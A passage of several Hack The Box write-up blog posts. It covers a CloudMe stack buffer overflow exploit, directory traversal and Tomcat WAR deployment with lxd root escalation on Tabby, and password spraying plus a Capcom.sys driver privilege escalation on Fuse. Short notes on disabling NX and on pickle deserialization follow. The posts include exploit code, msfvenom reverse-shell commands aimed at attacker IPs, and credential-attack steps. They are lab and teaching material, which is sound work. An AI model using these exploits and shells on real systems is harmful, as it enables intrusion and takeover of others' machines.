Let’s settle for a payload size of 2000 and keep it this way (changing the size while developing the exploit just introduces new variables and thus complicates things later on).

We can see that CloudMe is crashing and also identify that our payload of “A"s has overriden the return address and popped an invalid address into the EIP register. Moreover, we can see that the stack pointer (ESP) points to an address where more of our “A"s landed.

To identify the exact offset we need for overwriting the return address and confirm that ESP points to an address right below, we will now create a cyclic pattern of various 4-byte values and use those instead of our “A"s.

Identifying the offset

Right in Immunity Debugger, we can use mona.py’s pc (pattern create) function to generate a pattern of 2000 bytes:

!mona pc 2000
Creating cyclic pattern of 2000 bytes
[...]

The actual pattern will be written to the specified logfile.

We can then copy the ASCII version of the pattern and put it into our exploit script’s build function:

def build(size):
 pattern = b'Aa0Aa1Aa2...'
 return pattern

Restarting CloudMe and sending our new payload, we can see that we are now getting an access violation with a value of 316a4230 in EIP. To identify where these 4 bytes occur in our sent pattern, we can again use mona.py to find out:

!mona po 316a4230
[...]
 - Pattern 0Bj1 (0x316a4230) found in cyclic pattern at position 1052

So we now know that we must send 1052 bytes of junk before we overwrite the return address. Going back to the crashed application, we can also see that ESP contains an address located exactly after the 316a4230 value.

Let’s clean up our exploit script and add the information we gained. We are putting in “B"s for the “address” we want to place into the EIP and fill up the rest of our space with “C"s (just for easier visual reference in the debugger). As mentioned earlier, we also want to make sure that we keep our payload size the same as before.

def build(size, offset):
 junk = b'A' * offset
 eip = b'B' * 4
 shellcode = b'C' * (size - offset - len(eip))

 payload = junk + eip + shellcode
 assert len(payload) == size
 return payload

Adjusting our call to build to payload = build(2000, 1052) and running the exploit again, we now see the in the debugger that our “B"s (hex 42) cleanly popped into EIP and that ESP points right at the beginning of our “C"s (hex 43).

Finding a suitable JMP ESP

If we would find any instructions in the loaded modules that would directly or indirectly jump to ESP, we could use the address of the beginning of the instruction as our return address. Once EIP points to a JMP ESP instruction, we would essentially jump right back to the beginning of our “C"s. Requirement for all this is that we don’t have protection methods such as ASLR (Address Space Layout Randomization) in place.

To find such an address, we can utilize mona.py again.

First, we find available modules without ASLR:

!mona noaslr

This shows us a couple of modules. Let’s look into these for JMP ESP (or similar) instructions:

!mona jmp -r esp -m Qt5Core.dll

We find a couple of results – let’s choose the first CALL ESP:

0x68d652e1 : call esp | {PAGE_EXECUTE_READ} [Qt5Core.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe\Qt5Core.dll)

Let’s add the address of the instruction to our exploit script (note that we reverse the byte order for little-endian). Additionally, we add opcode \xcc (INT 3) where ESP will point so that the debugger will break when our “shellcode” is hit.

def build(size, offset):
 junk = b'A' * offset
 eip = b'\xe1\x52\xd6\x68' # 0x68d652e1
 shellcode = b'\xcc' * 4
 junk2 = b'C' * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload

Sending the payload again and observing the debugger, we can see that we’re again a little bit closer to controlling the program. The debugger paused as it hit our INT3 instruction.

Finding the “bad bytes”

Before we can create our actual shellcode, we need to find out if certain bytes would cause issues (commonly bytes that have a special meaning, like NULL for string termination, potentially carriage return / line feed for HTTP applications and so on).

An easy way to find out what bytes are causing issues is to literally send all possible byte values to the app and then look at the stack if something got garbled up. Let’s do this – again with the help of mona.py:

!mona bytearray -cpb '\x00'

(I’m excluding \x00 right from the beginning)

This will give us two files: bytarray.txt and bytarray.bin. The former we will use to copy paste into our exploit script, the latter for later comparision of what arrived on the stack.

Our exploit code can be adjusted like so:

def build(size, offset):
 junk = b'A' * offset
 eip = b'\xe1\x52\xd6\x68' # 0x68d652e1
 shellcode = b'\xcc' * 4
 shellcode += (b"\x01\x02\x03\x04\x05\x06..."
 b"\x21\x22\x23\x24\x25\x26...") # shortened for readability
 junk2 = b'C' * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload

Once the debugger goes into a paused state, we can look at the stack and note down the address where our byte array starts (04030201 and so on). Using this starting address, we can now compare all the bytes from that address with the bytearray.bin file created earlier.

!mona compare -f C:\ImmunityLogs\CloudMe\bytearray.bin -a 00a3d3d4

We get a nice message from mona.py that no corruption was found.

Knowing this, we can finally generate our final shellcode to exploit CloudMe on our own VM.

(If we would have seen corruption, we would have just removed the first corrupted byte from the byte array and sent it again – repeatedly until the sent byte array is unmodified.)

Generating the shellcode

For generating the shellcode we pick the easy route and let msfvenom do the hard work for us. Let’s generate a payload for getting a reverse shell and prevent the use of NULL bytes (don’t forget to update the IP to the one of your attacker machine).

msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b '\x00' -f py

The payload is 351 bytes in size, so it fits easily into the space we have available.

Let’s add the shellcode to our exploit and pad it with a few NOPs so that the automatically chosen encoder (x86/shikata_ga_nai) has enough room for unpacking our payload.

Our build function now looks like this:

def build(size, offset):
 junk = b'A' * offset
 eip = b'\xe1\x52\xd6\x68' # 0x68d652e1

 # msfvenom -p windows/shell_reverse_tcp LHOST=172.16.246.133 LPORT=80 -b '\x00' -f py
 buf = b""
 buf += b"\xda\xd0\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x12\xab\x84"
 buf += b"\xb1\xb1\x52\x83\xe8\xfc\x31\x58\x13\x03\x4a\xb8\x66"
 buf += b"and so on..."

 shellcode = b'\x90' * 16 + buf
 junk2 = b'C' * (size - offset - len(eip) - len(shellcode))

 payload = junk + eip + shellcode + junk2
 assert len(payload) == size
 return payload

Exploiting our own box

Now it’s time to start a listener on our machine (nc -lvnp 80) and run the exploit one more time. If everything went well, we should get a shell from the target system back:

kali@kali:~ kali$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [172.16.246.133] from (UNKNOWN) [172.16.246.136] 49696
Microsoft Windows [Version 10.0.18362.30]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\dh\AppData\Local\Programs\CloudMe\CloudMe>

Hey, it worked! We successfully exploited the system. The only two things left are now to 1.) update the shellcode for a reverse shell to the IP of our tun0 interface from the Hack The Box VPN and 2.) Find a way to actually send the payload, as we don’t have administrator permissions on the target yet and can thus not do a portproxy like we did for our box.

After acknowledging the Windows dog which tells us that we have been pwned, we can shutdown our VM :-)

Updating the payload

Updating the payload is easy; just change the IP address of the msfvenom command and put the result back into the exploit script:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=80 -b '\x00' -f py

Setting up a remote forward

To reach the CloudMe service from our attacker machine, we can upload plink.exe to the target and then set up a remote port forward to our machine.

Since we are connecting from the target to our machine, it makes sense to use a low-privilege account and only allow port-forwarding to minimize the chance of getting owned ourselves :-)

We add the the public key and some options to the authorized_keys file of our low-priv user (in my case I call the user forwarder):

from="10.10.10.198",command="echo 'Please dont pwn me'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3Nz...==

Next, we launch the SSHd service on our machine (feel free to adjust the port number in /etc/ssh/sshd_config; I use 7777 for this example) and then copy the plink.exe and forwarder.ppk key file to the target:

copy \\10.10.14.28\TMP\plink.exe .
copy \\10.10.14.28\TMP\forwarder.ppk .

Then, to set up the forwarding:

.\plink.exe -ssh -l forwarder -i forwarder.ppk -v -N -P 7777 -R 8888:127.0.0.1:8888 10.10.14.28

A quick netstat -tlpn on our machine should confirm that sshd now also started listening on 127.0.0.1:8888 for our forward.

One thing left: we change the HOST variable in our exploit to 127.0.0.1, start a netcat listener nc -lvnp 80 and run the exploit again.

Now we are greeted with an administrator shell from the target system:

sudo nc -vlnp 80
listening on [any] 80 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.198] 49876
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

I have posted the full exploit script for reference as a Gist.

Hack the Box Write-up #9: Tabby

Sat, 07 Nov 2020 00:00:00 +0000

This is a write-up for Hack the Box’s just retired Tabby machine.

We first find a Directory Traversal vulnerability in a web app and use it to obtain credentials for a Tomcat server running on the same host. Cracking a zip password of a discovered file then gives us access to the first low-priv user. From there, we exploit the fact that our user is part of the lxd group, create a small Alpine Linux image and eventually mount the host’s root file system in a new container.

Recon and Enumeration

We start by doing a fast scan to get a first overview of the box:

nmap -F 10.10.10.194

[...]
Not shown: 97 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy

Port 80 and 8080 are the most obvious things to look at first. While we start here, we also begin a full TCP port scan in the background (nmap -p- 10.10.10.194) to potentially gather more information for a later stage.

Looking at the site on port 80, we notice links going to the hostname megahosting.htb. We add it to our /etc/hosts file and proceed.

Directory Traversal via news.php

The top menu item News looks interesting, as it points to http://megahosting.htb/news.php?file=statement, hinting at a potential file inclusion and/or directory traversal.

We are lucky and can easily traverse and read files from the server: http://megahosting.htb/news.php?file=../../../../../../etc/passwd.

Before spending much time enumerating the file system “half-blind”, though, let’s first see if we can find another service that could give us guidance on where to look for interesting files.

Discovering Tomcat and utilizing earlier vulnerability

Checking the results of our full port scan from ealier, we can see that TCP port 22, 80 and 8080 are the only open ports – so nothing new here.

Navigating to http://megahosting.htb:8080, we find what seems to be a default Tomcat 9 installation:

A common thing to check for Tomcat instances is the availability of the manager app (see for example Jerry or Kotarak write-up).

We’re getting a Basic Auth prompt for http://megahosting.htb:8080/manager/html. Since we don’t have any credentials yet, we can try to utilize the vulnerability from earlier and read the tomcat-users.xml file, which could give us potential usernames, passwords and role information.

The default Tomcat page happily gives up the installation directory as /usr/share/tomcat9. It is thus most-likely, that we find configuration files in here.

Looking at common file pathes, we can easily identify /usr/share/tomcat9/etc/tomcat-users.xml as the location of a potential target file.

Via the earlier directory traversal vulnerability we can can indeed get its contents:

GET /news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1

[...]
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
[...]

Since we don’t have the manager-gui role, we cannot utilize the web interface though. The manager-script role, however, should be enough as it also gives us the ability to deploy our own apps – just not via the web ui.

Deploying our own app

Looking at the Tomcat manager documentation, we can get instructions on how to use the HTTP interface to deploy new apps (see section “Deploy A New Application Archive (WAR) Remotely”). TL;DR: A simple curl PUT file upload command should do.

We can create our own WAR app with a reverse shell payload by using msfvenom:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=80 -f war -o letmein.war

For later access, we note the name of the JSP file msfvenom generated by looking into the letmein.war (which is a zip archive):

$ unzip -l letmein.war 
Archive: letmein.war
 Length Date Time Name
--------- ---------- ----- ----
 0 2020-11-06 22:01 META-INF/
 71 2020-11-06 22:01 META-INF/MANIFEST.MF
 0 2020-11-06 22:01 WEB-INF/
 263 2020-11-06 22:01 WEB-INF/web.xml
 1801 2020-11-06 22:01 gvggpzkl.jsp <--- this guy!
--------- -------
 2135 5 files

With our credentials and payload at hand, we can attempt to deploy:

curl -v -u 'tomcat:$3cureP4s5w0rd123!' --upload-file letmein.war 'http://10.10.10.194:8080/manager/text/deploy?path=/letmein&update=true'

* Trying 10.10.10.194:8080...
* Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0)
* Server auth using Basic with user 'tomcat'
> PUT /manager/text/deploy?path=/letmein&update=true HTTP/1.1
> Host: 10.10.10.194:8080
> Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
> User-Agent: curl/7.72.0
> Accept: */*
> Content-Length: 1533
> Expect: 100-continue
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 100 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=utf-8
< Transfer-Encoding: chunked
< Date: Fri, 06 Nov 2020 21:20:15 GMT
< 
OK - Deployed application at context path [/letmein]

Starting a listener on port 80 (nc -lvnp 80), then hitting the JSP file of our payload (curl http://10.10.10.194:8080/letmein/gvggpzkl.jsp) should give us our first shell:

$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.194.
Ncat: Connection from 10.10.10.194:53318

Privilege Escalation to “ash” (hash cracking)

With our shell, we are the tomcat user and not part of any special group (id).

After a couple of basic checks and looking at common places, we find 16162020_backup.zip inside /var/www/html/files – a file we could have also accessed earlier via port 80 if we had known its name.

We can download and try to open it. Unfortunately, the zip file has a password on it.

Using zip2john 16162020_backup.zip, we extract the hash and attempt to crack it using a common wordlist:

john --wordlist=~/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt zip.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:01 DONE (2020-11-06 22:48) 0.5617g/s 5817Kp/s 5817Kc/s 5817KC/s adminako123..admin422243

Cracking the password succeeds after just a second.

We can now extract the contents of the archive, but find it is simply a current backup of the site and thus contains nothing new.

Having discovered a new password, however, we can see if somebody is re-using their credentials.

We first try it on the user ash as it’s the only user with a shell besides root (grep bash /etc/passwd). And it works! We can switch to user ash with su ash and password admin@it.

Privilege Escalation to “root” (lxd)

Now that we are ash, let’s check our groups again:

id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

We are part of the lxd group, which looks like a solid way to escalate by creating a new container and mounting the host file system.

To first build an image, we need distrobuilder, a Go application. It needs a couple of requirements, but is easy to setup when following the instructions on GitHub.

We can also – more or less – follow the instructions for building the image. But as we only need a light-weight base, we choose Alpine over Ubuntu.

Let’s make a directory and grab an Alpine configuration:

$ mkdir alpine
$ cd alpine/
$ vim alpine.yml

For the alpine.yml we use https://github.com/lxc/lxc-ci/blob/master/images/alpine.yaml.

Now we can go ahead and build the lxd image using distrobuilder:

$ distrobuilder build-lxd alpine.yml -o image.release=3.12
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz: 100% (5.53MB/s)
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz.asc: 100% (2.29GB/s)
fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
[...]

We should now have our container image consisting of lxd.tar.xz and rootfs.squashfs present in our alpine folder. Let’s transfer the file over to the target machine:

# on target
nc -lvnp 8000 > lxd.tar.xz
nc -lvnp 8000 > rootfs.squashfs

# on attacker
nc 10.10.10.194 8000 < lxd.tar.xz
nc 10.10.10.194 8000 < rootfs.squashfs

# on both hosts to check if everything went fine
md5sum *

Then add the image on the target host:

lxd init # on a fresh instance, you need to init, but can go with the defaults
lxc image import lxd.tar.xz rootfs.squashfs --alias givemeroot

Now we can create and configure our privileged privesc container to mount the host file system (options taken from HackTricks):

lxc init givemeroot privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

And that’s it. We can run our container, get a shell in it and navigate to our mount point to gain full access to the host’s root filesystem:

lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root <-- host's file system

With this kind of access, we can steal the id_rsa from /mnt/root/root/.ssh and SSH into the box as root:

ssh -i root.key root@10.10.10.194

Undo

Since this is a quite visible privilege escalation, you can either reset the box or remove the lxd stuff you added to not spoil it for other players. Essentially, it is:

lxc delete privesc
lxc image delete givemeroot
lxc network delete lxdbr0 <-- from the init
lxc storage delete default
lxc profile edit default <-- wipe config

Hack the Box Write-up #8: Fuse

Sat, 31 Oct 2020 00:00:00 +0000

I finally found some time again to write a walk-through of a Hack The Box machine. In this post we’ll hack into Fuse, a Medium machine which just got retired and included some password guessing, discovery of stored plaintext credentials and eventually a SeLoadDriverPrivilege escalation.

Recon and Enumeration

To get a first overview of the box, we’ll start with a nmap -sC -sV 10.10.10.193.

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus 
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-10-30 22:31:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped

Looking at the ports and enumeration output, we can tell we’re dealing with a domain controller.

Since we also see port 80 open, let’s first have a quick look at the site at http://10.10.10.193.

It forwards us to http://fuse.fabricorp.local/papercut/logs/html/index.htm, which we can browse normally after adding fuse.fabricorp.local and fabricorp.local to /etc/hosts (you would only need to add fuse.fabricorp.local, but it could be helpful to also have the root domain in it for later parts):

The print logging system lets us access reports for past print jobs and through that also makes it possible to collect some user/machine names and document titles with potential hints:

We learn about the following users:

pmerton - JUMP01 - Works in HR?
tlavel - LONWK015 - Works in IT?
sthompson - LONWK019 - Works in Purchasing?
bhult - LAPTOP07
administrator - FUSE - Troubleshooting some printing issues?
bnielson – New in the company? Maybe a weak default password?

Looking at the other ports, we can’t enumerate too much more as we don’t have valid credentials yet (no LDAP, SMB/RPC enum).

Brute-forcing our way to first credentials

We’ll take a chance and create a small wordlist of passwords containing the company name and try it against the discovered accounts via SMB:

users.txt

bnielson
sthompson
tlavel
pmerton
bhult

passwords.txt

$ echo Fabricorp > seed
$ hashcat -r best64.rule --stdout seed > passwords.txt
Fabricorp
procirbaF
FABRICORP
fabricorp
Fabricorp0
Fabricorp1
Fabricorp2
Fabricorp3
Fabricorp4
Fabricorp5
Fabricorp6
Fabricorp7
Fabricorp8
Fabricorp9
Fabricorp00
Fabricorp01
Fabricorp02
Fabricorp11
[...]

Using hydra for brute-forcing, we quickly get the following results:

$ hydra -L users.txt -P passwords.txt smb://10.10.10.193
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-30 23:47:54
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 60 login tries (l:5/p:12), ~60 tries per task
[DATA] attacking smb://10.10.10.193:445/
[445][smb] Host: 10.10.10.193 Account: bnielson Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: bnielson password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: tlavel Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: tlavel password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: bhult Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: bhult password: Fabricorp01

So Fabricorp01 seems to be an expired default password for a couple of accounts. We should be able to reset the password and set our own. Let’s choose tlavel as our target, since it looks like he’s working in IT:

$ smbpasswd -U tlavel -r 10.10.10.193
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on 10.10.10.193.

The password change worked and we can authenticate via SMB.

$ smbmap -H 10.10.10.193 -u tlavel -p 'chosenpassword'
[+] IP: 10.10.10.193:445 Name: fabricorp.local
 Disk Permissions Comment
 ---- ----------- -------
 ADMIN$ NO ACCESS Remote Admin
 C$ NO ACCESS Default share
 HP-MFT01 NO ACCESS HP-MFT01
 IPC$ READ ONLY Remote IPC
 NETLOGON READ ONLY Logon server share
 print$ READ ONLY Printer Drivers
 SYSVOL READ ONLY Logon server share

More Enumeration, Finding Plaintext Credentials

Our credentials don’t give us too much in terms of file access – we can mount print$ with mkdir /mnt/print; mount -t cifs -o 'user=tlavel,password=chosenpassword,rw,vers=1.0' //10.10.10.193/print$ /mnt/print, but nothing looks helpful in here.

Let’s see if we can enumerate more users, groups, maybe printers… :-). A good tool to do this kind of enumeration is rpcclient, which will do all the SAMR/SPOOL RPC calls for you:

$ rpcclient -U tlavel 10.10.10.193
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[IT_Accounts] rid:[0x644]

rpcclient $> enumprinters
 flags:[0x800000]
 name:[\\10.10.10.193\HP-MFT01]
 description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
 comment:[]

The printer description field looks juicy and might fit the svc-scan or svc-print account discovered in the earlier call.

Looking at the groups again, let’s dig into IT_Accounts as it stands out:

rpcclient $> querygroup 0x644
 Group Name: IT_Accounts
 Description:
 Group Attribute:7
 Num Members:2
rpcclient $> querygroupmem 0x644
 rid:[0x450] attr:[0x7]
 rid:[0x641] attr:[0x7]
rpcclient $> queryuser 0x450
 User Name : svc-print
 [...]

svc-print is part of IT_Accounts, svc-scan is just in Domain Users – so let’s try svc-print first. This time we’re using crackmapexec to check:

$ cme smb 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1

Do we also have access via WinRM?

cme winrm 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

WINRM 10.10.10.193 5985 FUSE [*] Windows 10.0 Build 14393 (name:FUSE) (domain:fabricorp.local)
WINRM 10.10.10.193 5985 FUSE [*] http://10.10.10.193:5985/wsman
WINRM 10.10.10.193 5985 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)

This looks good. We can get our first shell via WinRM.

Privilege Escalation from svc-print using SeLoadDriverPrivilege

To get a PowerShell shell, we can use evil-winrm:

evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'

The first thing we run with our low-priv user is a whoami /all to check what we are allowed to do.

*Evil-WinRM* PS C:\Users\svc-print\Documents> whoami /all

USER INFORMATION
----------------

User Name SID
=================== ==============================================
fabricorp\svc-print S-1-5-21-2633719317-1471316042-3957863514-1104


GROUP INFORMATION
-----------------
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
FABRICORP\IT_Accounts Group S-1-5-21-2633719317-1471316042-3957863514-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

[...]

Not only are we a member of Remote Management Users (we knew that), but also of Print Operators. This gives us the SeLoadDriverPrivilege which allows to load device drivers – and potentially opens up a path to elevate our privileges to SYSTEM by abusing a vulnerable driver’s functionality in combination with a registry entry we can control (HKCU) and pass to the LoadDriver API.

Have a look at the blog post Abusing SeLoadDriverPrivilege for privilege escalation for a good overview of the mechanics of this attack.

Just like in the article, we can use the EoPLoadDriver proof-of-concept tool and the signed Capcom.sys driver together with the public ExploitCapcom exploit from GitHub.

First, we switch over to a Windows system, clone the EiPLoadDriver repository and compile EoPLoadDriver.cpp. Next, we clone the ExploitCapcom repo (it already comes with a Visual Studio solution file), but make a slight adjustment before compiling.

In the LaunchShell function we “quick and dirty” call our own reverse shell, instead of cmd.exe:

static bool LaunchShell()
{
 TCHAR CommandLine[] = TEXT("C:\\Windows\\Temp\\revshell.exe");
 [...]

We can now build the app and move on to creating a small reverse shell with msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.20 LPORT=80 -f exe -o revshell.exe

The only thing that is left is the Capcom.sys driver. I found a copy matching the checksum on GitHub in the Capcom-Rootkit repository.

With the four files at hand, we are ready to drop some binaries on the target.

I’m using the upload functionality inside evil-winrm:

upload EopLoadDriver.exe
upload Capcom.sys
upload ExploitCapcom.exe
upload revshell.exe

Next, we prepare the netcat listener on our machine:

nc -lvnp 80

And then run the exploit:

*Evil-WinRM* PS C:\Windows\Temp> .\EopLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0

*Evil-WinRM* PS C:\Windows\Temp> .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000018A080A0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program

And we get our SYSTEM shell back:

$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.193.
Ncat: Connection from 10.10.10.193:49747.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\Temp>whoami
whoami
nt authority\system

Disabling NX in Linux via Kernel Parameter (using GRUB)

Wed, 09 Sep 2020 00:00:00 +0000

To boot Linux without Data Execution Prevention, so that the OS doesn’t mark certain memory regions as non-executable, we…

1.) … boot and enter the GRUB menu (hold Shift-key on boot*)

2.) … select the OS and press e to edit the commands and kernel parameters

3.) … add noexec=off and/or noexec32=off (depending on what you want) in the linux line

4.) … then boot with Ctrl-x

After booting, we should find the option disabled in the dmesg output:

Now we should be able to overflow and execute all the things :-)

* Tip: If you’re booting a VM and are not fast enough to interrupt the boot to access the menu, add a boot delay to your VM options (for ESXI it is in Settings -> VM Options -> Boot Options -> Boot Delay).

Exploiting Python pickles

Sun, 05 Apr 2020 00:00:00 +0000

In a recent challenge I needed to get access to a system by exploiting the way Python deserializes data using the pickle module. In this article I want to give a quick introduction of how to pickle/unpickle data, highlight the issues that can arise when your program deals with data from untrusted sources and “dump” my own notes.

For running the example code I’m using Python 3.8.2 on macOS 10.15; the demonstration of the reverse shell is just a connect-back to a loopback address.

TL;DR: Never unpickle data from sources you don’t trust. Otherwise you open your app up to a relatively simple way of remote code execution.

What is `pickle`?

In Python, the pickle module lets you serialize and deserialize data. Essentially, this means that you can convert a Python object into a stream of bytes and then reconstruct it (including the object’s internal structure) later in a different process or environment by loading that stream of bytes.

When consulting the Python docs for pickle one cannot miss the following warning:

Warning: The pickle module is not secure. Only unpickle data you trust.

Let’s find out why that is and how unpickling untrusted data could ruin your day.

How to dump and load?

In Python you can serialize objects by using pickle.dumps():

import pickle
pickle.dumps(['pickle', 'me', 1, 2, 3])

The pickled representation we’re getting back from dumps will look like this:

b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e.'

And now reading the serialized data back in…

import pickle
pickle.loads(b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e.')

…will give us our list object back:

['pickle', 'me', 1, 2, 3]

What is actually happening behind the scenes is that the byte-stream created by dumps contains opcodes that are then one-by-one executed as soon as we load the pickle back in. If you are curious how the instructions in this pickle look like, you can use pickletools to create a disassembly: pickletools.dis(pickled)

